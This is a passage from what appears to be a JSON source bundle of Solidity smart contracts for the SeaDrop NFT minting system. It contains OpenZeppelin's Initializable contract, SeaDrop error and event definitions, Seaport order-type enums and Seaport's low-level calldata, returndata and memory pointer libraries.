new initialization steps in\n * case an upgrade adds a module that needs to be initialized.\n *\n * For example:\n *\n * [.hljs-theme-light.nopadding]\n * ```solidity\n * contract MyToken is ERC20Upgradeable {\n * function initialize() initializer public {\n * __ERC20_init(\"MyToken\", \"MTK\");\n * }\n * }\n *\n * contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {\n * function initializeV2() reinitializer(2) public {\n * __ERC20Permit_init(\"MyToken\");\n * }\n * }\n * ```\n *\n * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n *\n * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n *\n * [CAUTION]\n * ====\n * Avoid leaving a contract uninitialized.\n *\n * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation\n * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke\n * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * /// @custom:oz-upgrades-unsafe-allow constructor\n * constructor() {\n * _disableInitializers();\n * }\n * ```\n * ====\n */\nabstract contract Initializable {\n /**\n * @dev Indicates that the contract has been initialized.\n * @custom:oz-retyped-from bool\n */\n uint8 private _initialized;\n\n /**\n * @dev Indicates that the contract is in the process of being initialized.\n */\n bool private _initializing;\n\n /**\n * @dev Triggered when the contract has been initialized or reinitialized.\n */\n event Initialized(uint8 version);\n\n /**\n * @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,\n * `onlyInitializing` functions can be used to initialize parent contracts.\n *\n * Similar to `reinitializer(1)`, except that functions marked with `initializer` can be nested in the context of a\n * constructor.\n *\n * Emits an {Initialized} event.\n */\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n require(\n (isTopLevelCall && _initialized < 1) || (address(this).code.length == 0 && _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n _initialized = 1;\n if (isTopLevelCall) {\n _initializing = true;\n }\n _;\n if (isTopLevelCall) {\n _initializing = false;\n emit Initialized(1);\n }\n }\n\n /**\n * @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the\n * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be\n * used to initialize parent contracts.\n *\n * A reinitializer may be used after the original initialization step. This is essential to configure modules that\n * are added through upgrades and that require initialization.\n *\n * When `version` is 1, this modifier is similar to `initializer`, except that functions marked with `reinitializer`\n * cannot be nested. If one is invoked in the context of another, execution will revert.\n *\n * Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in\n * a contract, executing them in the right order is up to the developer or operator.\n *\n * WARNING: setting the version to 255 will prevent any future reinitialization.\n *\n * Emits an {Initialized} event.\n */\n modifier reinitializer(uint8 version) {\n require(!_initializing && _initialized < version, \"Initializable: contract is already initialized\");\n _initialized = version;\n _initializing = true;\n _;\n _initializing = false;\n emit Initialized(version);\n }\n\n /**\n * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the\n * {initializer} and {reinitializer} modifiers, directly or indirectly.\n */\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n _;\n }\n\n /**\n * @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.\n * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized\n * to any version. It is recommended to use this to lock implementation contracts that are designed to be called\n * through proxies.\n *\n * Emits an {Initialized} event the first time it is successfully executed.\n */\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n if (_initialized != type(uint8).max) {\n _initialized = type(uint8).max;\n emit Initialized(type(uint8).max);\n }\n }\n\n /**\n * @dev Returns the highest version that has been initialized. See {reinitializer}.\n */\n function _getInitializedVersion() internal view returns (uint8) {\n return _initialized;\n }\n\n /**\n * @dev Returns `true` if the contract is currently initializing. See {onlyInitializing}.\n */\n function _isInitializing() internal view returns (bool) {\n return _initializing;\n }\n}\n" }, "src/lib/SeaDropErrorsAndEvents.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { CreatorPayout, PublicDrop } from \"./ERC721SeaDropStructs.sol\";\n\ninterface SeaDropErrorsAndEvents {\n /**\n * @notice The SeaDrop token types, emitted as part of\n * `event SeaDropTokenDeployed`.\n */\n enum SEADROP_TOKEN_TYPE {\n ERC721_STANDARD,\n ERC721_CLONE,\n ERC721_UPGRADEABLE,\n ERC1155_STANDARD,\n ERC1155_CLONE,\n ERC1155_UPGRADEABLE\n }\n\n /**\n * @notice An event to signify that a SeaDrop token contract was deployed.\n */\n event SeaDropTokenDeployed(SEADROP_TOKEN_TYPE tokenType);\n\n /**\n * @notice Revert with an error if the function selector is not supported.\n */\n error UnsupportedFunctionSelector(bytes4 selector);\n\n /**\n * @dev Revert with an error if the drop stage is not active.\n */\n error NotActive(\n uint256 currentTimestamp,\n uint256 startTimestamp,\n uint256 endTimestamp\n );\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max allowed\n * to be minted per wallet.\n */\n error MintQuantityExceedsMaxMintedPerWallet(uint256 total, uint256 allowed);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply.\n */\n error MintQuantityExceedsMaxSupply(uint256 total, uint256 maxSupply);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply for the stage.\n * Note: The `maxTokenSupplyForStage` for public mint is\n * always `type(uint).max`.\n */\n error MintQuantityExceedsMaxTokenSupplyForStage(\n uint256 total,\n uint256 maxTokenSupplyForStage\n );\n\n /**\n * @dev Revert if the fee recipient is the zero address.\n */\n error FeeRecipientCannotBeZeroAddress();\n\n /**\n * @dev Revert if the fee recipient is not already included.\n */\n error FeeRecipientNotPresent();\n\n /**\n * @dev Revert if the fee basis points is greater than 10_000.\n */\n error InvalidFeeBps(uint256 feeBps);\n\n /**\n * @dev Revert if the fee recipient is already included.\n */\n error DuplicateFeeRecipient();\n\n /**\n * @dev Revert if the fee recipient is restricted and not allowed.\n */\n error FeeRecipientNotAllowed(address got);\n\n /**\n * @dev Revert if the creator payout address is the zero address.\n */\n error CreatorPayoutAddressCannotBeZeroAddress();\n\n /**\n * @dev Revert if the creator payouts are not set.\n */\n error CreatorPayoutsNotSet();\n\n /**\n * @dev Revert if the creator payout basis points are zero.\n */\n error CreatorPayoutBasisPointsCannotBeZero();\n\n /**\n * @dev Revert if the total basis points for the creator payouts\n * don't equal exactly 10_000.\n */\n error InvalidCreatorPayoutTotalBasisPoints(\n uint256 totalReceivedBasisPoints\n );\n\n /**\n * @dev Revert if the creator payout basis points don't add up to 10_000.\n */\n error InvalidCreatorPayoutBasisPoints(uint256 totalReceivedBasisPoints);\n\n /**\n * @dev Revert with an error if the allow list proof is invalid.\n */\n error InvalidProof();\n\n /**\n * @dev Revert if a supplied signer address is the zero address.\n */\n error SignerCannotBeZeroAddress();\n\n /**\n * @dev Revert with an error if a signer is not included in\n * the enumeration when removing.\n */\n error SignerNotPresent();\n\n /**\n * @dev Revert with an error if a payer is not included in\n * the enumeration when removing.\n */\n error PayerNotPresent();\n\n /**\n * @dev Revert with an error if a payer is already included in mapping\n * when adding.\n */\n error DuplicatePayer();\n\n /**\n * @dev Revert with an error if a signer is already included in mapping\n * when adding.\n */\n error DuplicateSigner();\n\n /**\n * @dev Revert with an error if the payer is not allowed. The minter must\n * pay for their own mint.\n */\n error PayerNotAllowed(address got);\n\n /**\n * @dev Revert if a supplied payer address is the zero address.\n */\n error PayerCannotBeZeroAddress();\n\n /**\n * @dev Revert if the start time is greater than the end time.\n */\n error InvalidStartAndEndTime(uint256 startTime, uint256 endTime);\n\n /**\n * @dev Revert with an error if the signer payment token is not the same.\n */\n error InvalidSignedPaymentToken(address got, address want);\n\n /**\n * @dev Revert with an error if supplied signed mint price is less than\n * the minimum specified.\n */\n error InvalidSignedMintPrice(\n address paymentToken,\n uint256 got,\n uint256 minimum\n );\n\n /**\n * @dev Revert with an error if supplied signed maxTotalMintableByWallet\n * is greater than the maximum specified.\n */\n error InvalidSignedMaxTotalMintableByWallet(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed\n * maxTotalMintableByWalletPerToken is greater than the maximum\n * specified.\n */\n error InvalidSignedMaxTotalMintableByWalletPerToken(\n uint256 got,\n uint256 maximum\n );\n\n /**\n * @dev Revert with an error if the fromTokenId is not within range.\n */\n error InvalidSignedFromTokenId(uint256 got, uint256 minimum);\n\n /**\n * @dev Revert with an error if the toTokenId is not within range.\n */\n error InvalidSignedToTokenId(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed start time is less than\n * the minimum specified.\n */\n error InvalidSignedStartTime(uint256 got, uint256 minimum);\n\n /**\n * @dev Revert with an error if supplied signed end time is greater than\n * the maximum specified.\n */\n error InvalidSignedEndTime(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed maxTokenSupplyForStage\n * is greater than the maximum specified.\n */\n error InvalidSignedMaxTokenSupplyForStage(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed feeBps is greater than\n * the maximum specified, or less than the minimum.\n */\n error InvalidSignedFeeBps(uint256 got, uint256 minimumOrMaximum);\n\n /**\n * @dev Revert with an error if signed mint did not specify to restrict\n * fee recipients.\n */\n error SignedMintsMustRestrictFeeRecipients();\n\n /**\n * @dev Revert with an error if a signature for a signed mint has already\n * been used.\n */\n error SignatureAlreadyUsed();\n\n /**\n * @dev Revert with an error if the contract has no balance to withdraw.\n */\n error NoBalanceToWithdraw();\n\n /**\n * @dev Revert with an error if the caller is not an allowed Seaport.\n */\n error InvalidCallerOnlyAllowedSeaport(address caller);\n\n /**\n * @dev Revert with an error if the order does not have the ERC1155 magic\n * consideration item to signify a consecutive mint.\n */\n error MustSpecifyERC1155ConsiderationItemForSeaDropMint();\n\n /**\n * @dev Revert with an error if the extra data version is not supported.\n */\n error UnsupportedExtraDataVersion(uint8 version);\n\n /**\n * @dev Revert with an error if the extra data encoding is not supported.\n */\n error InvalidExtraDataEncoding(uint8 version);\n\n /**\n * @dev Revert with an error if the provided substandard is not supported.\n */\n error InvalidSubstandard(uint8 substandard);\n\n /**\n * @dev Revert with an error if the implementation contract is called without\n * delegatecall.\n */\n error OnlyDelegateCalled();\n\n /**\n * @dev Revert with an error if the provided allowed Seaport is the\n * zero address.\n */\n error AllowedSeaportCannotBeZeroAddress();\n\n /**\n * @dev Emit an event when allowed Seaport contracts are updated.\n */\n event AllowedSeaportUpdated(address[] allowedSeaport);\n\n /**\n * @dev An event with details of a SeaDrop mint, for analytical purposes.\n *\n * @param payer The address who payed for the tx.\n * @param dropStageIndex The drop stage index. Items minted through\n * public mint have dropStageIndex of 0\n */\n event SeaDropMint(address payer, uint256 dropStageIndex);\n\n /**\n * @dev An event with updated allow list data.\n *\n * @param previousMerkleRoot The previous allow list merkle root.\n * @param newMerkleRoot The new allow list merkle root.\n * @param publicKeyURI If the allow list is encrypted, the public key\n * URIs that can decrypt the list.\n * Empty if unencrypted.\n * @param allowListURI The URI for the allow list.\n */\n event AllowListUpdated(\n bytes32 indexed previousMerkleRoot,\n bytes32 indexed newMerkleRoot,\n string[] publicKeyURI,\n string allowListURI\n );\n\n /**\n * @dev An event with updated drop URI.\n */\n event DropURIUpdated(string newDropURI);\n\n /**\n * @dev An event with the updated creator payout address.\n */\n event CreatorPayoutsUpdated(CreatorPayout[] creatorPayouts);\n\n /**\n * @dev An event with the updated allowed fee recipient.\n */\n event AllowedFeeRecipientUpdated(\n address indexed feeRecipient,\n bool indexed allowed\n );\n\n /**\n * @dev An event with the updated signer.\n */\n event SignerUpdated(address indexed signer, bool indexed allowed);\n\n /**\n * @dev An event with the updated payer.\n */\n event PayerUpdated(address indexed payer, bool indexed allowed);\n}\n" }, "lib/seaport/lib/seaport-types/src/lib/ConsiderationEnums.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nenum OrderType {\n // 0: no partial fills, anyone can execute\n FULL_OPEN,\n\n // 1: partial fills supported, anyone can execute\n PARTIAL_OPEN,\n\n // 2: no partial fills, only offerer or zone can execute\n FULL_RESTRICTED,\n\n // 3: partial fills supported, only offerer or zone can execute\n PARTIAL_RESTRICTED,\n\n // 4: contract order type\n CONTRACT\n}\n\nenum BasicOrderType {\n // 0: no partial fills, anyone can execute\n ETH_TO_ERC721_FULL_OPEN,\n\n // 1: partial fills supported, anyone can execute\n ETH_TO_ERC721_PARTIAL_OPEN,\n\n // 2: no partial fills, only offerer or zone can execute\n ETH_TO_ERC721_FULL_RESTRICTED,\n\n // 3: partial fills supported, only offerer or zone can execute\n ETH_TO_ERC721_PARTIAL_RESTRICTED,\n\n // 4: no partial fills, anyone can execute\n ETH_TO_ERC1155_FULL_OPEN,\n\n // 5: partial fills supported, anyone can execute\n ETH_TO_ERC1155_PARTIAL_OPEN,\n\n // 6: no partial fills, only offerer or zone can execute\n ETH_TO_ERC1155_FULL_RESTRICTED,\n\n // 7: partial fills supported, only offerer or zone can execute\n ETH_TO_ERC1155_PARTIAL_RESTRICTED,\n\n // 8: no partial fills, anyone can execute\n ERC20_TO_ERC721_FULL_OPEN,\n\n // 9: partial fills supported, anyone can execute\n ERC20_TO_ERC721_PARTIAL_OPEN,\n\n // 10: no partial fills, only offerer or zone can execute\n ERC20_TO_ERC721_FULL_RESTRICTED,\n\n // 11: partial fills supported, only offerer or zone can execute\n ERC20_TO_ERC721_PARTIAL_RESTRICTED,\n\n // 12: no partial fills, anyone can execute\n ERC20_TO_ERC1155_FULL_OPEN,\n\n // 13: partial fills supported, anyone can execute\n ERC20_TO_ERC1155_PARTIAL_OPEN,\n\n // 14: no partial fills, only offerer or zone can execute\n ERC20_TO_ERC1155_FULL_RESTRICTED,\n\n // 15: partial fills supported, only offerer or zone can execute\n ERC20_TO_ERC1155_PARTIAL_RESTRICTED,\n\n // 16: no partial fills, anyone can execute\n ERC721_TO_ERC20_FULL_OPEN,\n\n // 17: partial fills supported, anyone can execute\n ERC721_TO_ERC20_PARTIAL_OPEN,\n\n // 18: no partial fills, only offerer or zone can execute\n ERC721_TO_ERC20_FULL_RESTRICTED,\n\n // 19: partial fills supported, only offerer or zone can execute\n ERC721_TO_ERC20_PARTIAL_RESTRICTED,\n\n // 20: no partial fills, anyone can execute\n ERC1155_TO_ERC20_FULL_OPEN,\n\n // 21: partial fills supported, anyone can execute\n ERC1155_TO_ERC20_PARTIAL_OPEN,\n\n // 22: no partial fills, only offerer or zone can execute\n ERC1155_TO_ERC20_FULL_RESTRICTED,\n\n // 23: partial fills supported, only offerer or zone can execute\n ERC1155_TO_ERC20_PARTIAL_RESTRICTED\n}\n\nenum BasicOrderRouteType {\n // 0: provide Ether (or other native token) to receive offered ERC721 item.\n ETH_TO_ERC721,\n\n // 1: provide Ether (or other native token) to receive offered ERC1155 item.\n ETH_TO_ERC1155,\n\n // 2: provide ERC20 item to receive offered ERC721 item.\n ERC20_TO_ERC721,\n\n // 3: provide ERC20 item to receive offered ERC1155 item.\n ERC20_TO_ERC1155,\n\n // 4: provide ERC721 item to receive offered ERC20 item.\n ERC721_TO_ERC20,\n\n // 5: provide ERC1155 item to receive offered ERC20 item.\n ERC1155_TO_ERC20\n}\n\nenum ItemType {\n // 0: ETH on mainnet, MATIC on polygon, etc.\n NATIVE,\n\n // 1: ERC20 items (ERC777 and ERC20 analogues could also technically work)\n ERC20,\n\n // 2: ERC721 items\n ERC721,\n\n // 3: ERC1155 items\n ERC1155,\n\n // 4: ERC721 items where a number of tokenIds are supported\n ERC721_WITH_CRITERIA,\n\n // 5: ERC1155 items where a number of ids are supported\n ERC1155_WITH_CRITERIA\n}\n\nenum Side {\n // 0: Items that can be spent\n OFFER,\n\n // 1: Items that must be received\n CONSIDERATION\n}\n" }, "lib/seaport/lib/seaport-types/src/helpers/PointerLibraries.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ntype CalldataPointer is uint256;\n\ntype ReturndataPointer is uint256;\n\ntype MemoryPointer is uint256;\n\nusing CalldataPointerLib for CalldataPointer global;\nusing MemoryPointerLib for MemoryPointer global;\nusing ReturndataPointerLib for ReturndataPointer global;\n\nusing CalldataReaders for CalldataPointer global;\nusing ReturndataReaders for ReturndataPointer global;\nusing MemoryReaders for MemoryPointer global;\nusing MemoryWriters for MemoryPointer global;\n\nCalldataPointer constant CalldataStart = CalldataPointer.wrap(0x04);\nMemoryPointer constant FreeMemoryPPtr = MemoryPointer.wrap(0x40);\nuint256 constant IdentityPrecompileAddress = 0x4;\nuint256 constant OffsetOrLengthMask = 0xffffffff;\nuint256 constant _OneWord = 0x20;\nuint256 constant _FreeMemoryPointerSlot = 0x40;\n\n/// @dev Allocates `size` bytes in memory by increasing the free memory pointer\n/// and returns the memory pointer to the first byte of the allocated region.\n// (Free functions cannot have visibility.)\n// solhint-disable-next-line func-visibility\nfunction malloc(uint256 size) pure returns (MemoryPointer mPtr) {\n assembly {\n mPtr := mload(_FreeMemoryPointerSlot)\n mstore(_FreeMemoryPointerSlot, add(mPtr, size))\n }\n}\n\n// (Free functions cannot have visibility.)\n// solhint-disable-next-line func-visibility\nfunction getFreeMemoryPointer() pure returns (MemoryPointer mPtr) {\n mPtr = FreeMemoryPPtr.readMemoryPointer();\n}\n\n// (Free functions cannot have visibility.)\n// solhint-disable-next-line func-visibility\nfunction setFreeMemoryPointer(MemoryPointer mPtr) pure {\n FreeMemoryPPtr.write(mPtr);\n}\n\nlibrary CalldataPointerLib {\n function lt(\n CalldataPointer a,\n CalldataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := lt(a, b)\n }\n }\n\n function gt(\n CalldataPointer a,\n CalldataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := gt(a, b)\n }\n }\n\n function eq(\n CalldataPointer a,\n CalldataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := eq(a, b)\n }\n }\n\n function isNull(CalldataPointer a) internal pure returns (bool b) {\n assembly {\n b := iszero(a)\n }\n }\n\n /// @dev Resolves an offset stored at `cdPtr + headOffset` to a calldata.\n /// pointer `cdPtr` must point to some parent object with a dynamic\n /// type's head stored at `cdPtr + headOffset`.\n function pptr(\n CalldataPointer cdPtr,\n uint256 headOffset\n ) internal pure returns (CalldataPointer cdPtrChild) {\n cdPtrChild = cdPtr.offset(\n cdPtr.offset(headOffset).readUint256() & OffsetOrLengthMask\n );\n }\n\n /// @dev Resolves an offset stored at `cdPtr` to a calldata pointer.\n /// `cdPtr` must point to some parent object with a dynamic type as its\n /// first member, e.g. `struct { bytes data; }`\n function pptr(\n CalldataPointer cdPtr\n ) internal pure returns (CalldataPointer cdPtrChild) {\n cdPtrChild = cdPtr.offset(cdPtr.readUint256() & OffsetOrLengthMask);\n }\n\n /// @dev Returns the calldata pointer one word after `cdPtr`.\n function next(\n CalldataPointer cdPtr\n ) internal pure returns (CalldataPointer cdPtrNext) {\n assembly {\n cdPtrNext := add(cdPtr, _OneWord)\n }\n }\n\n /// @dev Returns the calldata pointer `_offset` bytes after `cdPtr`.\n function offset(\n CalldataPointer cdPtr,\n uint256 _offset\n ) internal pure returns (CalldataPointer cdPtrNext) {\n assembly {\n cdPtrNext := add(cdPtr, _offset)\n }\n }\n\n /// @dev Copies `size` bytes from calldata starting at `src` to memory at\n /// `dst`.\n function copy(\n CalldataPointer src,\n MemoryPointer dst,\n uint256 size\n ) internal pure {\n assembly {\n calldatacopy(dst, src, size)\n }\n }\n}\n\nlibrary ReturndataPointerLib {\n function lt(\n ReturndataPointer a,\n ReturndataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := lt(a, b)\n }\n }\n\n function gt(\n ReturndataPointer a,\n ReturndataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := gt(a, b)\n }\n }\n\n function eq(\n ReturndataPointer a,\n ReturndataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := eq(a, b)\n }\n }\n\n function isNull(ReturndataPointer a) internal pure returns (bool b) {\n assembly {\n b := iszero(a)\n }\n }\n\n /// @dev Resolves an offset stored at `rdPtr + headOffset` to a returndata\n /// pointer. `rdPtr` must point to some parent object with a dynamic\n /// type's head stored at `rdPtr + headOffset`.\n function pptr(\n ReturndataPointer rdPtr,\n uint256 headOffset\n ) internal pure returns (ReturndataPointer rdPtrChild) {\n rdPtrChild = rdPtr.offset(\n rdPtr.offset(headOffset).readUint256() & OffsetOrLengthMask\n );\n }\n\n /// @dev Resolves an offset stored at `rdPtr` to a returndata pointer.\n /// `rdPtr` must point to some parent object with a dynamic type as its\n /// first member, e.g. `struct { bytes data; }`\n function pptr(\n ReturndataPointer rdPtr\n ) internal pure returns (ReturndataPointer rdPtrChild) {\n rdPtrChild = rdPtr.offset(rdPtr.readUint256() & OffsetOrLengthMask);\n }\n\n /// @dev Returns the returndata pointer one word after `cdPtr`.\n function next(\n ReturndataPointer rdPtr\n ) internal pure returns (ReturndataPointer rdPtrNext) {\n assembly {\n rdPtrNext := add(rdPtr, _OneWord)\n }\n }\n\n /// @dev Returns the returndata pointer `_offset` bytes after `cdPtr`.\n function offset(\n ReturndataPointer rdPtr,\n uint256 _offset\n ) internal pure returns (ReturndataPointer rdPtrNext) {\n assembly {\n rdPtrNext := add(rdPtr, _offset)\n }\n }\n\n /// @dev Copies `size` bytes from returndata starting at `src` to memory at\n /// `dst`.\n function copy(\n ReturndataPointer src,\n MemoryPointer dst,\n uint256 size\n ) internal pure {\n assembly {\n returndatacopy(dst, src, size)\n }\n }\n}\n\nlibrary MemoryPointerLib {\n function copy(\n MemoryPointer src,\n MemoryPointer dst,\n uint256 size\n ) internal view {\n assembly {\n let success := staticcall(\n gas(),\n IdentityPrecompileAddress,\n src,\n size,\n dst,\n size\n )\n if or(iszero(returndatasize()), iszero(success)) {\n revert(0, 0)\n }\n }\n }\n\n function lt(\n MemoryPointer a,\n MemoryPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := lt(a, b)\n }\n }\n\n function gt(\n MemoryPointer a,\n MemoryPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := gt(a, b)\n }\n }\n\n function eq(\n MemoryPointer a,\n MemoryPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := eq(a, b)\n }\n }\n\n function isNull(MemoryPointer a) internal pure returns (bool b) {\n assembly {\n b := iszero(a)\n }\n }\n\n function hash(\n MemoryPointer ptr,\n uint256 length\n ) internal pure returns (bytes32 _hash) {\n assembly {\n _hash := keccak256(ptr, length)\n }\n }\n\n /// @dev Returns the memory pointer one word after `mPtr`.\n function next(\n MemoryPointer mPtr\n ) internal pure returns (MemoryPointer mPtrNext) {\n assembly {\n mPtrNext := add(mPtr, _OneWord)\n }\n }\n\n /// @dev Returns the memory pointer `_offset` bytes after `mPtr`.\n function offset(\n MemoryPointer mPtr,\n uint256 _offset\n ) internal pure returns (MemoryPointer mPtrNext) {\n assembly {\n mPtrNext := add(mPtr, _offset)\n }\n }\n\n /// @dev Resolves a pointer at `mPtr + headOffset` to a memory\n /// pointer. `mPtr` must point to some parent object with a dynamic\n /// type's pointer stored at `mPtr + headOffset`.\n function pptr(\n MemoryPointer mPtr,\n uint256 headOffset\n ) internal pure returns (MemoryPointer mPtrChild) {\n mPtrChild = mPtr.offset(headOffset).readMemoryPointer();\n }\n\n /// @dev Resolves a pointer stored at `mPtr` to a memory pointer.\n /// `mPtr` must point to some parent object with a dynamic type as its\n /// first member, e.g. `struct { bytes data; }`\n function pptr(\n MemoryPointer mPtr\n ) internal pure returns (MemoryPointer mPtrChild) {\n mPtrChild = mPtr.readMemoryPointer();\n }\n}\n\nlibrary CalldataReaders {\n /// @dev Reads the value at `cdPtr` and applies a mask to return only the\n /// last 4 bytes.\n function readMaskedUint256(\n CalldataPointer cdPtr\n ) internal pure returns (uint256 value) {\n value = cdPtr.readUint256() & OffsetOrLengthMask;\n }\n\n /// @dev Reads the bool at `cdPtr` in calldata.\n function readBool(\n CalldataPointer cdPtr\n ) internal pure returns (bool value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the address at `cdPtr` in calldata.\n function readAddress(\n CalldataPointer cdPtr\n ) internal pure returns (address value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes1 at `cdPtr` in calldata.\n function readBytes1(\n CalldataPointer cdPtr\n ) internal pure returns (bytes1 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes2 at `cdPtr` in calldata.\n function readBytes2(\n CalldataPointer cdPtr\n ) internal pure returns (bytes2 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes3 at `cdPtr` in calldata.\n function readBytes3(\n CalldataPointer cdPtr\n ) internal pure returns (bytes3 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes4 at `cdPtr` in calldata.\n function readBytes4(\n CalldataPointer cdPtr\n ) internal pure returns (bytes4 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes5 at `cdPtr` in calldata.\n function readBytes5(\n CalldataPointer cdPtr\n ) internal pure returns (bytes5 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes6 at `cdPtr` in calldata.\n function readBytes6(\n CalldataPointer cdPtr\n ) internal pure returns (bytes6 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes7 at `cdPtr` in calldata.\n function readBytes7(\n CalldataPointer cdPtr\n ) internal pure returns (bytes7 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes8 at `cdPtr` in calldata.\n function readBytes8(\n CalldataPointer cdPtr\n ) internal pure returns (bytes8 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes9 at `cdPtr` in calldata.\n function readBytes9(\n CalldataPointer cdPtr\n ) internal pure returns (bytes9 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes10 at `cdPtr` in calldata.\n function readBytes10(\n CalldataPointer cdPtr\n ) internal pure returns (bytes10 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes11 at `cdPtr` in calldata.\n function readBytes11(\n CalldataPointer cdPtr\n ) internal pure returns (bytes11 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes12 at `cdPtr` in calldata.\n function readBytes12(\n CalldataPointer cdPtr\n ) internal pure returns (bytes12 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes13 at `cdPtr` in calldata.\n function readBytes13(\n CalldataPointer cdPtr\n ) internal pure returns (bytes13 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes14 at `cdPtr` in calldata.\n function readBytes14(\n CalldataPointer cdPtr\n ) internal pure returns (bytes14 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes15 at `cdPtr` in calldata.\n function readBytes15(\n CalldataPointer cdPtr\n ) internal pure returns (bytes15 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes16 at `cdPtr` in calldata.\n function readBytes16(\n CalldataPointer cdPtr\n ) internal pure returns (bytes16 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes17 at `cdPtr` in calldata.\n function readBytes17(\n CalldataPointer cdPtr\n ) internal pure returns (bytes17 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes18 at `cdPtr` in calldata.\n function readBytes18(\n CalldataPointer cdPtr\n ) internal pure returns (bytes18 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes19 at `cdPtr` in calldata.\n function readBytes19(\n CalldataPointer cdPtr\n ) internal pure returns (bytes19 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes20 at `cdPtr` in calldata.\n function readBytes20(\n CalldataPointer cdPtr\n ) internal pure returns (bytes20 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes21 at `cdPtr` in calldata.\n function readBytes21(\n CalldataPointer cdPtr\n ) internal pure returns (bytes21 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes22 at `cdPtr` in calldata.\n function readBytes22(\n CalldataPointer cdPtr\n ) internal pure returns (bytes22 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes23 at `cdPtr` in calldata.\n function readBytes23(\n CalldataPointer cdPtr\n ) internal pure returns (bytes23 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes24 at `cdPtr` in calldata.\n function readBytes24(\n CalldataPointer cdPtr\n ) internal pure returns (bytes24 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes25 at `cdPtr` in calldata.\n function readBytes25(\n CalldataPointer cdPtr\n ) internal pure returns (bytes25 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes26 at `cdPtr` in calldata.\n function readBytes26(\n CalldataPointer cdPtr\n ) internal pure returns (bytes26 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes27 at `cdPtr` in calldata.\n function readBytes27(\n CalldataPointer cdPtr\n ) internal pure returns (bytes27 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes28 at `cdPtr` in 